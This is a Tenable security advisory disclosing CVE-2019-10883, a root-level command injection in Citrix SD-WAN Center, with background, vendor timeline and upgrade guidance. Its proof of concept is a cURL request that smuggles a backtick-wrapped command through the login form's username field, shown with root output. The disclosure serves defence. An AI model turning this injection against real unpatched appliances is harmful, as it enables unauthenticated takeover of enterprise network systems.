Se descubre vulnerabilidad crítica de inyección de comandos en sistemas operativos en Citrix SD-WAN Center
Tenable Research has discovered a critical vulnerability in Citrix SD-WAN Center that could lead to remote code execution.
Antecedentes
On April 10, Citrix released a security bulletin for CVE-2019-10883, an operating system (OS) command injection vulnerability in Citrix SD-WAN Center 10.2.x before 10.2.1 and NetScaler SD-WAN Center 10.0.x before 10.0.7. Tenable Research discovered this vulnerability while developing a plugin for CVE-2017-6316 and reported it to Citrix.
Citrix Netscaler SD-WAN (software defined wide-area network) allows enterprises to manage their networks and create a virtual WAN. These types of products are used to support branch offices and remote data centers, and to maintain connectivity for cloud-based applications. According to the Citrix website, Netscaler SD-WAN is used in several industries like shipping, non-profit, hospitality and others.
Análisis
While reviewing CTX236992, Tenable Research observed that most of the vulnerabilities in this security bulletin required authentication. For the purpose of writing an uncredentialed Nessus plugin, we ended up looking at two unauthenticated command injection vulnerabilities mentioned in the writeup by the researchers who were credited in CTX236992. These vulnerabilities appeared to be linked to CVE-2017-6316, a vulnerability in the Citrix SD-WAN appliance.
Through our research of CVE-2017-6316, we discovered the Citrix SD-WAN Center 10.2.0.136.733315 was vulnerable to insufficient validation of user-supplied data ($username) in the controller located at /home/talariuser/www/app/Controller/UsersController.php (CVE-2019-10883).
Prueba de concepto
An unauthenticated remote attacker could exploit this vulnerability to execute arbitrary commands with root privileges. This could be achieved by running the following cURL command:
curl -skv --tlsv1.2 -d '_method=POST&data%5BUser%5D%5Busername%5D=%60sudo%20id%20>/tmp/test%60&data%5BUser%5D%5Bpassword%5D=my_password&data%5BUser%5D%5BsecPassword%5D=my_secPassword' 'https://[target_host]/login'
The output from running this command:
root@VWC:/home/talariuser/www/app/Controller# cat /tmp/test
uid=0(root) gid=0(root) groups=0(root)
Vendor response
Tenable Research contacted Citrix in early February and confirmed they reproduced the vulnerability by the end of February. Citrix published its security bulletin for this vulnerability on April 10.
Solución
Users should upgrade to Citrix SD-WAN Center 10.2.1 or later and NetScaler SD-WAN Center 10.0.7 or later. Additionally, Citrix provided a list of best practices that should be used to harden the security of the SD-WAN Center.
Obtenga más información
Obtenga más información sobre Tenable, la primera plataforma de Cyber Exposure para el control integral de la superficie de ataque moderna.
Get a free 60-day trial of Tenable.io Vulnerability Management.
Artículos relacionados
Kinsing Malware Hides Itself as a Manual Page and Targets Cloud Servers
May 16, 2024Tenable Cloud Security Research Team has recently discovered that Kinsing malware, known for targeting Linux-based cloud infrastructures, exploits Apache Tomcat servers with new advanced stealth techniques. Explore our analysis and the indicators of compromise in this report.
Cybersecurity Snapshot: Find MITRE ATT&CK Complex? Need Help Mapping to It? There’s an App for That!
March 10, 2023Learn about a new tool that streamlines MITRE ATT&CK mapping. Plus, known vulnerabilities remain a major cyber risk – just ask LastPass. Also, discover why SaaS data protection remains difficult. Plus, a look at the U.S. National Cybersecurity Strategy. And much more!
The Ransomware Ecosystem: In Pursuit of Fame and Fortune
July 28, 2022The key players within the ransomware ecosystem, including affiliates and initial access brokers, work together cohesively like a band of musicians, playing their respective parts as they strive for fame and fortune.
Cybersecurity Snapshot: CISA Warns Hospitals about Black Basta, as Tenable Study Finds Cloud-Related Breaches Pervasive
May 17, 2024Find out why healthcare organizations must beware of the Black Basta ransomware group. Meanwhile, a Tenable study found that 95% of surveyed organizations suffered a cloud-related breach, and offers insights for boosting cloud security. Plus, a Cloud Security Alliance report delves into how AI systems can create risky gaps in your cloud environment. And much more!
Kinsing Malware Hides Itself as a Manual Page and Targets Cloud Servers
May 16, 2024Tenable Cloud Security Research Team has recently discovered that Kinsing malware, known for targeting Linux-based cloud infrastructures, exploits Apache Tomcat servers with new advanced stealth techniques. Explore our analysis and the indicators of compromise in this report.
Microsoft’s May 2024 Patch Tuesday Addresses 59 CVEs (CVE-2024-30051, CVE-2024-30040)
May 14, 2024Microsoft addresses 59 CVEs in its May 2024 Patch Tuesday release with one critical vulnerability and three zero-day vulnerabilities, two of which were exploited in the wild.
- Threat Intelligence
- Threat Management
- Vulnerability Management
- Vulnerability Scanning